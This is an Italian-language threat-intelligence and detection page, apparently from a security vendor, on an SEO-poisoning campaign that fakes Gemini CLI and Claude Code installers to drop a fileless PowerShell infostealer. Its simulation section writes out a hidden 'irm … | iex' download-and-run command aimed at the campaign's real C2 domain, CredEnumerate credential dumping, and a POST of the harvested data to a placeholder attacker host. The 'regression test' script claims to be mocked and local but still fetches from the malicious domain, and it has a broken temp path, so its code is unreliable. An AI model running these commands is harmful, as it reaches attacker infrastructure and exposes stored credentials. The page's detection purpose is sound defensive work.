Campagna di Avvelenamento SEO Utilizza Esche di Codice Gemini e Claude per Consegnare un Infostealer
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
Attori eCrime motivati finanziariamente stanno utilizzando l’avvelenamento SEO per promuovere domini falsi che imitano gli installer per assistenti di codifica AI. Le vittime che copiano e incollano un singolo comando PowerShell da queste pagine innescano un infostealer senza file che si esegue completamente in memoria. Il malware ruba credenziali, cookie di sessione, chiavi VPN e file sensibili prima di esfiltrare i dati in forma criptata a un server di comando e controllo. La campagna è mirata alle workstation dei sviluppatori Windows e si mimetizza nell’attività normale abusando di strumenti di sviluppo familiari.
Indagine
Gli analisti di EclecticIQ hanno tracciato l’infrastruttura malevola a .co.com domini che servono stringhe di download PowerShell attraverso irm and iex. Lo script di prima fase lancia una finestra PowerShell nascosta usando Shell.Application.ShellExecute, quindi carica ulteriori tipi C# per raccogliere credenziali, dettagli di sistema e altri dati preziosi. È stata osservata esfiltrazione tramite HTTP e HTTPS a events.msft23.com and events.ms709.com utilizzando percorsi URL specifici. Un’analisi DNS passiva ha collegato l’operazione a un provider di hosting a prova di proiettile nei Paesi Bassi e a un più ampio cluster di domini typosquattrati.
Mitigazione
I difensori dovrebbero rilevare e bloccare il irm | iex schema di esecuzione, finestre PowerShell nascoste e uso sospetto di Add-Type che coinvolge chiamate P/Invoke. Le organizzazioni dovrebbero imporre la Modalità di Linguaggio Limitato di PowerShell e utilizzare AppLocker o WDAC per prevenire l’esecuzione di script da contenuti di origine Internet. Limitare l’accesso in scrittura agli appunti del browser e imporre token OAuth di breve durata per gli account sviluppatore possono ulteriormente ridurre l’esposizione. Inoltre, gli sviluppatori dovrebbero essere addestrati ad evitare di copiare-comandi da siti web non attendibili.
Risposta
I team di sicurezza dovrebbero allertare sui processi PowerShell avviati con -WindowStyle Hidden o invocati tramite Shell.Application.ShellExecute. Questi eventi dovrebbero essere correlati con richieste HTTP in uscita verso domini corrispondenti a *-setup.com or events.*.com, specialmente quando appaiono i percorsi /take, /process, o /validate . Se questo comportamento viene rilevato, isolare il endpoint interessato, raccogliere i log di PowerShell e effettuare una raccolta forense dei dati del browser e degli archivi di credenziali.
graph TB %% Definizione classi classDef action fill:#99ccff classDef tool fill:#ffdd99 classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef operator fill:#ff9900 %% Nodi – Azioni initial_access[“<b>Azione</b> – <b>T1189 Compromissione Drive-by</b>: Risultati di ricerca SEO avvelenati distribuiscono una falsa pagina di installazione di Gemini CLI / Claude Code.<br/><b>Sotto-tecniche</b> T1204.001 Esecuzione utente (link malevolo) e T1204.004 Esecuzione utente (PowerShell one-liner copiato e incollato).”] class initial_access action execution[“<b>Azione</b> – <b>T1059.001 PowerShell</b>: Script in memoria eseguito tramite Shell.Application.ShellExecute, download ed esecuzione riflessiva (irm|iex).<br/><b>Offuscamento</b> T1027 e T1027.016 codice spazzatura.”] class execution action defense_evasion[“<b>Azione</b> – <b>T1562.001 Disattivazione strumenti di sicurezza</b>: patch di amsi.dll, disattivazione ETW, controllo sandbox per qemu-ga.”] class defense_evasion action credential_access[“<b>Azione</b> – <b>T1555.003 Credenziali dai browser web</b>: estrazione di credenziali e cookie del browser.<br/><b>Tecniche aggiuntive</b> T1555.004 Windows Credential Manager, T1552.001 credenziali in file, T1552.002 credenziali nel registro, T1539 furto cookie di sessione web, T1550.004 cookie di sessione.”] class credential_access action discovery[“<b>Azione</b> – <b>T1057 Scoperta processi</b>: enumerazione processi tramite Restart Manager.<br/><b>Tecniche aggiuntive</b> T1083 scoperta file e directory, T1217 informazioni browser, T1497.002 evasione virtualizzazione/sandbox.”] class discovery action collection[“<b>Azione</b> – <b>T1005 Dati dal sistema locale</b>: raccolta file utente (*.txt, *.docx) e directory sincronizzate cloud (T1039).”] class collection action command_and_control[“<b>Azione</b> – <b>T1071.001 Protocolli web</b>: beacon HTTPS verso events.msft23.com / events.ms709.com (/take, /process, /validate).<br/><b>Crittografia</b> lista task RSA (T1573) e download payload (T1105 trasferimento strumenti in ingresso).”] class command_and_control action exfiltration[“<b>Azione</b> – <b>T1041 Esfiltrazione tramite canale C2</b>: invio cifrato dei dati raccolti.<br/><b>Sotto-tecnica</b> T1020 esfiltrazione automatizzata.”] class exfiltration action %% Nodi – Strumenti / Malware tool_powershell[“<b>Strumento</b> – <b>Nome</b>: PowerShell<br/><b>Descrizione</b>: motore di scripting Windows per esecuzione in memoria.”] class tool_powershell tool tool_shellexecute[“<b>Strumento</b> – <b>Nome</b>: Shell.Application.ShellExecute<br/><b>Descrizione</b>: avvia finestre nascoste per esecuzione script.”] class tool_shellexecute tool tool_amsi_patch[“<b>Strumento</b> – <b>Nome</b>: Patch AMSI<br/><b>Descrizione</b>: modifica amsi.dll per bypass analisi script.”] class tool_amsi_patch tool tool_etw_disable[“<b>Strumento</b> – <b>Nome</b>: Disattivazione ETW<br/><b>Descrizione</b>: disabilita Event Tracing for Windows per evitare rilevamento.”] class tool_etw_disable tool tool_credmanager[“<b>Strumento</b> – <b>Nome</b>: API CredEnumerate<br/><b>Descrizione</b>: recupera credenziali dal Windows Credential Manager.”] class tool_credmanager tool tool_ssh_reg[“<b>Strumento</b> – <b>Nome</b>: Raccolta registro<br/><b>Descrizione</b>: legge password salvate di WinSCP e PuTTY dal registro.”] class tool_ssh_reg tool tool_vpn[“<b>Strumento</b> – <b>Nome</b>: Raccolta configurazioni VPN<br/><b>Descrizione</b>: raccoglie file di configurazione VPN per riutilizzo.”] class tool_vpn tool tool_wallet[“<b>Strumento</b> – <b>Nome</b>: Furto wallet crypto<br/><b>Descrizione</b>: estrae file wallet e chiavi private.”] class tool_wallet tool %% Connessioni – Flusso attacco initial_access –>|porta a| execution execution –>|usa| tool_powershell execution –>|usa| tool_shellexecute execution –>|contiene| tool_amsi_patch execution –>|contiene| tool_etw_disable execution –>|porta a| defense_evasion defense_evasion –>|usa| tool_amsi_patch defense_evasion –>|usa| tool_etw_disable defense_evasion –>|porta a| credential_access credential_access –>|usa| tool_credmanager credential_access –>|usa| tool_ssh_reg credential_access –>|usa| tool_vpn credential_access –>|usa| tool_wallet credential_access –>|porta a| discovery discovery –>|porta a| collection collection –>|porta a| command_and_control command_and_control –>|usa| tool_powershell command_and_control –>|porta a| exfiltration
Flusso Attacco
Rilevamenti
Download o Upload via Powershell (tramite cmdline)
Visualizza
Stringhe Powershell Sospette (tramite powershell)
Visualizza
Chiama Metodi .NET Sospetti da Powershell (tramite powershell)
Visualizza
IOC (HashSha256) per rilevare: campagna di avvelenamento SEO sfrutta la personificazione di Gemini e Claude Code per distribuire infostealer Parte 2
Visualizza
IOC (HashSha256) per rilevare: campagna di avvelenamento SEO sfrutta la personificazione di Gemini e Claude Code per distribuire infostealer Parte 1
Visualizza
IOC (SourceIP) per rilevare: campagna di avvelenamento SEO sfrutta la personificazione di Gemini e Claude Code per distribuire infostealer
Visualizza
IOC (DestinationIP) per rilevare: campagna di avvelenamento SEO sfrutta la personificazione di Gemini e Claude Code per distribuire infostealer
Visualizza
Rileva Modello di Beacon C2 con Percorsi URI Specifici [Connessione di Rete Windows]
Visualizza
Esecuzione Infostealer Fileless PowerShell [Windows Powershell]
Visualizza
Esecuzione Simulazione
Prerequisito: Il Controllo Pre-volo di Telemetria e Baseline deve essere passato.
Motivo: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta attesa dalla logica di rilevamento. Esempi astratti o non correlati porteranno a una diagnosi errata.
-
Narrazione & Comandi di Attacco:
Un attaccante compromette un account utente con pochi privilegi ed esegue un comando PowerShell one-liner tramitecmd.exe. Il one-liner usairm(Invoke‑RestMethod) per recuperare uno script PowerShell malevolo daevents.msft23.com, lo convoglia aiex(Invoke‑Expression) per eseguire il payload interamente in memoria e nasconde la finestra PowerShell per evitare surfate. Successivamente, il payload carica un tipo .NET conAdd‑Typeper effettuare l’enumerazione delle credenziali utilizzando l’APICredEnumerate, esfiltra i dati raccolti tramite HTTPS. Tutti i passaggi vengono eseguiti senza scrivere file su disco, corrispondendo alla descrizione “senza file”.# Passo 1 – Avvio nascosto di PowerShell powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"Il
payload.ps1scaricato (eseguito in memoria) contiene:# Passo 2 – Carica il tipo .NET per l'enumerazione delle credenziali $type = @" using System; using System.Runtime.InteropServices; public class Cred { [DllImport(""advapi32.dll"", SetLastError=true)] public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials); } "@ Add-Type $type # Passo 3 – Avvia dump delle credenziali e esfiltra $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr) $data = "Raccolte $count credenziali" Invoke-RestMethod -Method Post -Uri https://attacker.c2/exfil -Body $dataQuesta sequenza genera i frammenti di riga di comando che la regola Sigma corrisponde:
powershell.exe -WindowStyle Hiddenirm events.msft23.com | iexAdd-Typeadvapi32.dll!CredEnumerate
-
Script di Test di Regressione: Il seguente script riproduce esattamente il comportamento su una workstation di test. Eseguilo da un prompt PowerShell elevato.
# Simulazione Infostealer PowerShell Fileless – TC-20260525-A7Z3K # ------------------------------------------------------------ # Passo 1 – Esegui PowerShell nascosto che scarica & esegue payload $command = 'powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"' Start-Process -FilePath "cmd.exe" -ArgumentList "/c $command" -WindowStyle Hidden # Contenuto mock di payload.ps1 (ospitato localmente per test sicuri) $payload = @' $type = @" using System; using System.Runtime.InteropServices; public class Cred { [DllImport("advapi32.dll", SetLastError=true)] public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials); } "@ Add-Type $type $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr) $data = "Raccolte $count credenziali" # Simula esfiltrazione a un endpoint innocuo Invoke-RestMethod -Method Post -Uri "https://httpbin.org/post" -Body $data '@ # Scrivi il payload mock in posizione temporanea per il test (simulando hosting remoto) $tempPath = "$env:TEMPpayload.ps1" Set-Content -Path $tempPath -Value $payload -Encoding UTF8 # Servi il payload tramite un semplice listener HTTP locale (per dimostrazione) $listener = [System.Net.HttpListener]::new() $listener.Prefixes.Add("http://+:8080/") $listener.Start() Write-Host "Servendo payload mock su http://localhost:8080/payload.ps1" while ($listener.IsListening) { $context = $listener.GetContext() if ($context.Request.Url.AbsolutePath -eq "/payload.ps1") { $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $context.Response.ContentLength64 = $bytes.Length $context.Response.OutputStream.Write($bytes,0,$bytes.Length) $context.Response.Close() } } # Nota: Ferma il listener manualmente dopo la validazione. -
Comandi di Pulizia: Rimuovi file temporanei e ferma il listener HTTP.
# Pulizia dopo la simulazione Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue # Ferma il listener HTTP locale (se ancora in esecuzione) Get-Process -Name "powershell" | Where-Object {$_.MainWindowTitle -match "payload"} | Stop-Process -Force